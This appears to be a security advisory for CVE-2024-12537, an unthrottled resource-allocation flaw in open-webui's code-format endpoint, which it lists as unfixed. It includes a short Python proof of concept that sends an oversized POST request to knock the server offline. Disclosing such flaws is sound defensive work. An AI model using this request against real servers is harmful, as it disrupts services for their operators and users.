Allocation of Resources Without Limits or Throttling Affecting open-webui package, versions [0,]
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- published10 Apr 2025
- disclosed20 Mar 2025
- creditM Nadeem Qazi
Introduced: 20 Mar 2025
NewCVE-2024-12537 (opens in a new tab)How to fix?
There is no fixed version for open-webui.
Overview
open-webui is an Open WebUI
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the api/v1/utils/code/format endpoint. An attacker can cause the server to become unresponsive or experience significant degradation by sending a POST request with an excessively high volume of content.
PoC
import requests
num = 500000000 # Must not cross 8 zero. with 9 zero it throws 400 Bad Request
# Construct the code with the specified number of characters
code_value = "5" * num
# Define the URL and headers
url = "http://localhost:8080/api/v1/utils/code/format"
# Define the payload
payload = {
"code": code_value
}
# Send the POST request
response = requests.post(url, json=payload)